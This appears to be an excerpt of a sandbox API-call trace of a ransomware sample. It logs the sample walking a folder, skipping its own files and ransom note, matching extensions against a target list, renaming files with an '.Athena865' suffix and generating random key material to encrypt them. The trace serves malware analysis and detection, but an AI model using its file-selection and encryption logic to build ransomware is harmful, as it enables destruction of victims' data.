(lpString1="exe", lpString2="vis") returned -1 [0109.915] lstrlenW (lpString="vpd") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0109.915] lstrlenW (lpString="vvv") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0109.916] lstrlenW (lpString="wdb") returned 3 [0109.916] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0109.916] lstrlenW (lpString="wmdb") returned 4 [0109.916] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0109.916] lstrlenW (lpString="wrk") returned 3 [0109.916] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0109.916] lstrlenW (lpString="xdb") returned 3 [0109.916] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0109.916] lstrlenW (lpString="xld") returned 3 [0109.916] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0109.916] lstrlenW (lpString="xmlff") returned 5 [0109.916] lstrcmpiW (lpString1="n.exe", lpString2="xmlff") returned -1 [0109.916] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.Athena865") returned 85 [0109.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.athena865"), dwFlags=0x1) returned 1 [0109.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.918] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=383488) returned 1 [0109.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.918] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.919] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.919] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.919] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5dd00, lpName=0x0) returned 0x17c [0109.923] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5dd00) returned 0x2d50000 [0109.946] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.946] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.946] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.947] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0109.951] CloseHandle (hObject=0x17c) returned 1 [0109.951] CloseHandle (hObject=0x154) returned 1 [0109.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.958] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2=".") returned 1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="..") returned 1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="windows") returned -1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="bootmgr") returned 1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="temp") returned -1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="pagefile.sys") returned -1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="boot") returned 1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="ids.txt") returned 1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="ntuser.dat") returned -1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="perflogs") returned -1 [0109.958] lstrcmpiW (lpString1="ipscat.xml", lpString2="MSBuild") returned -1 [0109.958] lstrlenW (lpString="ipscat.xml") returned 10 [0109.958] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipscat.xml" | out: lpString1="ipscat.xml") returned="ipscat.xml" [0109.958] lstrlenW (lpString="ipscat.xml") returned 10 [0109.958] lstrlenW (lpString="Athena865") returned 9 [0109.958] lstrcmpiW (lpString1="pscat.xml", lpString2="Athena865") returned 1 [0109.959] lstrlenW (lpString=".dll") returned 4 [0109.959] lstrcmpiW (lpString1="ipscat.xml", lpString2=".dll") returned 1 [0109.959] lstrlenW (lpString=".lnk") returned 4 [0109.959] lstrcmpiW (lpString1="ipscat.xml", lpString2=".lnk") returned 1 [0109.959] lstrlenW (lpString=".ini") returned 4 [0109.959] lstrcmpiW (lpString1="ipscat.xml", lpString2=".ini") returned 1 [0109.959] lstrlenW (lpString=".sys") returned 4 [0109.959] lstrcmpiW (lpString1="ipscat.xml", lpString2=".sys") returned 1 [0109.959] lstrlenW (lpString="ipscat.xml") returned 10 [0109.959] lstrlenW (lpString="bak") returned 3 [0109.959] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0109.959] lstrlenW (lpString="ba_") returned 3 [0109.959] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0109.959] lstrlenW (lpString="dbb") returned 3 [0109.959] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0109.959] lstrlenW (lpString="vmdk") returned 4 [0109.959] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0109.959] lstrlenW (lpString="rar") returned 3 [0109.959] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0109.959] lstrlenW (lpString="zip") returned 3 [0109.959] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0109.959] lstrlenW (lpString="tgz") returned 3 [0109.959] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0109.959] lstrlenW (lpString="vbox") returned 4 [0109.959] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0109.959] lstrlenW (lpString="vdi") returned 3 [0109.959] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0109.959] lstrlenW (lpString="vhd") returned 3 [0109.959] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0109.960] lstrlenW (lpString="vhdx") returned 4 [0109.960] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0109.960] lstrlenW (lpString="avhd") returned 4 [0109.960] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0109.960] lstrlenW (lpString="db") returned 2 [0109.960] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0109.960] lstrlenW (lpString="db2") returned 3 [0109.960] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0109.960] lstrlenW (lpString="db3") returned 3 [0109.960] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0109.960] lstrlenW (lpString="dbf") returned 3 [0109.960] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0109.960] lstrlenW (lpString="mdf") returned 3 [0109.960] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0109.960] lstrlenW (lpString="mdb") returned 3 [0109.960] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0109.960] lstrlenW (lpString="sql") returned 3 [0109.960] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0109.960] lstrlenW (lpString="sqlite") returned 6 [0109.960] lstrcmpiW (lpString1="at.xml", lpString2="sqlite") returned -1 [0109.960] lstrlenW (lpString="sqlite3") returned 7 [0109.960] lstrcmpiW (lpString1="cat.xml", lpString2="sqlite3") returned -1 [0109.960] lstrlenW (lpString="sqlitedb") returned 8 [0109.960] lstrcmpiW (lpString1="scat.xml", lpString2="sqlitedb") returned -1 [0109.960] lstrlenW (lpString="xml") returned 3 [0109.960] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0109.960] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.Athena865") returned 71 [0109.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.athena865"), dwFlags=0x1) returned 1 [0109.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.962] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2592) returned 1 [0109.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.963] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.963] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.963] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.963] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x17c [0109.965] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000 [0109.966] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.966] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.966] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.967] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0109.967] CloseHandle (hObject=0x17c) returned 1 [0109.967] CloseHandle (hObject=0x154) returned 1 [0109.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.968] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2=".") returned 1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="..") returned 1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="windows") returned -1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="bootmgr") returned 1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="temp") returned -1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="pagefile.sys") returned -1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="boot") returned 1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="ids.txt") returned 1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="ntuser.dat") returned -1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="perflogs") returned -1 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2="MSBuild") returned -1 [0109.968] lstrlenW (lpString="ipschs.xml") returned 10 [0109.968] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipschs.xml" | out: lpString1="ipschs.xml") returned="ipschs.xml" [0109.968] lstrlenW (lpString="ipschs.xml") returned 10 [0109.968] lstrlenW (lpString="Athena865") returned 9 [0109.968] lstrcmpiW (lpString1="pschs.xml", lpString2="Athena865") returned 1 [0109.968] lstrlenW (lpString=".dll") returned 4 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2=".dll") returned 1 [0109.968] lstrlenW (lpString=".lnk") returned 4 [0109.968] lstrcmpiW (lpString1="ipschs.xml", lpString2=".lnk") returned 1 [0109.969] lstrlenW (lpString=".ini") returned 4 [0109.969] lstrcmpiW (lpString1="ipschs.xml", lpString2=".ini") returned 1 [0109.969] lstrlenW (lpString=".sys") returned 4 [0109.969] lstrcmpiW (lpString1="ipschs.xml", lpString2=".sys") returned 1 [0109.969] lstrlenW (lpString="ipschs.xml") returned 10 [0109.969] lstrlenW (lpString="bak") returned 3 [0109.969] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0109.969] lstrlenW (lpString="ba_") returned 3 [0109.969] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0109.969] lstrlenW (lpString="dbb") returned 3 [0109.969] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0109.969] lstrlenW (lpString="vmdk") returned 4 [0109.969] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0109.969] lstrlenW (lpString="rar") returned 3 [0109.969] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0109.969] lstrlenW (lpString="zip") returned 3 [0109.969] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0109.969] lstrlenW (lpString="tgz") returned 3 [0109.969] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0109.969] lstrlenW (lpString="vbox") returned 4 [0109.969] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0109.969] lstrlenW (lpString="vdi") returned 3 [0109.969] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0109.969] lstrlenW (lpString="vhd") returned 3 [0109.969] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0109.969] lstrlenW (lpString="vhdx") returned 4 [0109.969] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0109.969] lstrlenW (lpString="avhd") returned 4 [0109.969] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0109.970] lstrlenW (lpString="db") returned 2 [0109.970] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0109.970] lstrlenW (lpString="db2") returned 3 [0109.970] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0109.970] lstrlenW (lpString="db3") returned 3 [0109.970] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0109.970] lstrlenW (lpString="dbf") returned 3 [0109.970] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0109.970] lstrlenW (lpString="mdf") returned 3 [0109.970] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0109.970] lstrlenW (lpString="mdb") returned 3 [0109.970] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0109.970] lstrlenW (lpString="sql") returned 3 [0109.970] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0109.970] lstrlenW (lpString="sqlite") returned 6 [0109.970] lstrcmpiW (lpString1="hs.xml", lpString2="sqlite") returned -1 [0109.970] lstrlenW (lpString="sqlite3") returned 7 [0109.970] lstrcmpiW (lpString1="chs.xml", lpString2="sqlite3") returned -1 [0109.970] lstrlenW (lpString="sqlitedb") returned 8 [0109.970] lstrcmpiW (lpString1="schs.xml", lpString2="sqlitedb") returned -1 [0109.970] lstrlenW (lpString="xml") returned 3 [0109.970] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0109.970] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.Athena865") returned 71 [0109.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.athena865"), dwFlags=0x1) returned 1 [0109.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.972] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2462) returned 1 [0109.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.972] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.973] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.973] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.973] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xca0, lpName=0x0) returned 0x17c [0109.974] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xca0) returned 0x100000 [0109.975] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.976] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.976] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.977] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0109.977] CloseHandle (hObject=0x17c) returned 1 [0109.977] CloseHandle (hObject=0x154) returned 1 [0109.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.977] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2=".") returned 1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="..") returned 1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="windows") returned -1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="bootmgr") returned 1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="temp") returned -1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="pagefile.sys") returned -1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="boot") returned 1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="ids.txt") returned 1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="ntuser.dat") returned -1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="perflogs") returned -1 [0109.977] lstrcmpiW (lpString1="ipscht.xml", lpString2="MSBuild") returned -1 [0109.977] lstrlenW (lpString="ipscht.xml") returned 10 [0109.978] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipscht.xml" | out: lpString1="ipscht.xml") returned="ipscht.xml" [0109.978] lstrlenW (lpString="ipscht.xml") returned 10 [0109.978] lstrlenW (lpString="Athena865") returned 9 [0109.978] lstrcmpiW (lpString1="pscht.xml", lpString2="Athena865") returned 1 [0109.978] lstrlenW (lpString=".dll") returned 4 [0109.978] lstrcmpiW (lpString1="ipscht.xml", lpString2=".dll") returned 1 [0109.978] lstrlenW (lpString=".lnk") returned 4 [0109.978] lstrcmpiW (lpString1="ipscht.xml", lpString2=".lnk") returned 1 [0109.978] lstrlenW (lpString=".ini") returned 4 [0109.978] lstrcmpiW (lpString1="ipscht.xml", lpString2=".ini") returned 1 [0109.978] lstrlenW (lpString=".sys") returned 4 [0109.978] lstrcmpiW (lpString1="ipscht.xml", lpString2=".sys") returned 1 [0109.978] lstrlenW (lpString="ipscht.xml") returned 10 [0109.978] lstrlenW (lpString="bak") returned 3 [0109.978] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0109.978] lstrlenW (lpString="ba_") returned 3 [0109.978] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0109.978] lstrlenW (lpString="dbb") returned 3 [0109.978] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0109.978] lstrlenW (lpString="vmdk") returned 4 [0109.978] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0109.978] lstrlenW (lpString="rar") returned 3 [0109.978] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0109.978] lstrlenW (lpString="zip") returned 3 [0109.978] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0109.978] lstrlenW (lpString="tgz") returned 3 [0109.978] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0109.978] lstrlenW (lpString="vbox") returned 4 [0109.979] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 